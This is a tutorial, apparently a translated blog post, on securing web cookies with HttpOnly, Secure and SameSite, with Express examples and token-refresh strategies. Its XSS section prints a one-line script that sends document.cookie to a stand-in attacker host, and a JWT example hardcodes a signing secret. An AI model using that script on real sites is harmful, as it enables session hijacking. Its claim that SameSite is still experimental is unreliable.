in web development, cookies are an essential tool for storing user data and managing sessions. however, if not managed securely, cookies can pose a security risk, which is why cookies have attributes like HttpOnly, Secure, and SameSite.
in this article, we'll explain the role and importance of these three attributes, along with practical examples of how to set them.
HttpOnly attribute
HttpOnly
this attribute restricts the cookie from being accessed by client-side scripts. when this property is set, cookies are only sent to the server via HTTP/HTTPS requests.
example server settings
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { httpOnly: true });
header is set as follows
# Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: sessionId=sanghyeon; HttpOnly
regular cookies can be accessed by client-side scripts as follows
// Set-Cookie: normalCookie=thisisvisible; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible"
however, cookies with the HttpOnly setting are not accessible from client-side scripts.
// Set-Cookie: secureSessionId=thiisnotvisible; HttpOnly; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible" (HttpOnly 쿠키는 보이지 않음)
Preventing XSS with HttpOnly
cookies are heavily used on the web to authenticate a user's session. Cross-site scripting (XSS) attacks can steal a user's cookies (e.g., session ID) by injecting malicious scripts into a website.
for example, a malicious user could execute the following script.
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
By enabling HttpOnly, you can reduce threats like session hijacking because attackers can't access cookies with JavaScript.
Secure attribute
Although HttpOnly prevents access from the client, cookies can still be hijacked through man-in-the-middle attacks when communicating over HTTP. The Secure attribute reduces this risk by ensuring that cookies are only sent over an encrypted HTTPS connection.
example server setup
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { secure: true });
header is set as follows
# Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: sessionId=sanghyeon; Secure
⚠️ Note
Secure
attribute does not encrypt the cookie itself, but only restricts it to being sent over an encrypted connection (HTTPS). Therefore, even with Secure set, it is recommended that you never put sensitive information (passwords, credit cards, personal identifiers, etc.) in cookies. this option is not foolproof.
SameSite attribute
SameSite
attribute controls how cookies are sent with cross-site requests. this helps prevent Cross-Site Request Forgery (CSRF) attacks and unwanted information leakage. this attribute is an experimental feature at the time of writing (April 2025) and is not yet supported by all browsers.
example server settings
res.cookie('sessionId', 'sanghyeon', { sameSite: 'lax' }); // 기본값(Chrome 80+)
header is set as follows
Set-Cookie: sessionId=sanghyeon; SameSite=Lax
how it works
SameSite
attribute determines what kind of request the cookie can be included in (same-site request vs. cross-site request). it can have three values, as shown below
Strict
strictest setting. cookies are only included in requests originating from the same site as the current website (Same-Site). no cookies are sent to requests originating from external sites, such as when someone clicks a link on another website.Lax
(default):Strict
a slightly more relaxed setting. it basically behaves the same asStrict
, but sends a cookie for GET requests and when someone clicks on an external link to go to your site.None
same-site: Cookies are sent for both same-site and cross-site requests. however, to useSameSite=None
, you must also set theSecure
attribute, which means it only works on HTTPS connections. this is mainly needed when you need to use cookies in a cross-site context, such as integrating external services or tracking ads.
cookie management strategies for authentication
1. dual cookie strategy: secure and accessible
if you need access to cookies in the browser, but security is also important, you can use a strategy that uses two types of cookies.
// server side
// 1. authentication token (HttpOnly)
res.cookie('authToken', 'abc123.token.xyz789', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 2. state for ui (accessible in javascript)
res.cookie('userInfo', JSON.stringify({
isLoggedIn: true,
username: '사용자명',
role: '사용자'
}));
- protect the token used for actual authentication with an HttpOnly cookie
- Allow JavaScript access to the information needed for the UI with a regular cookie
2. Secure use of JWTs and cookies
JWTs are more secure to store in HttpOnly cookies than in local storage.
javascript
const token = jwt.sign({ userId: user.id }, 'secret_key', { expiresIn: '1h' });
res.cookie('jwt', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1시간
});
3. token lifetime management and refresh strategy
some strategies combine short-lived access tokens with long-lived refresh tokens to enhance security.
// access token (short lifetime)
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900000 // 15분
});
// refresh token (long lifetime)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7일
});
- access tokens expire in a short amount of time, even if they are compromised
- limit refresh tokens to specific API paths to minimize exposure
- periodic token renewal increases security
wrapping up
cookies are essential for user authentication and session management on the web. as you've seen in this article, proper use of the HttpOnly, Secure, and SameSite attributes can protect against a variety of attacks, including XSS, CSRF, and session hijacking.
as a web developer, you are responsible for protecting your users' data and privacy. understand the security attributes of cookies and use them properly!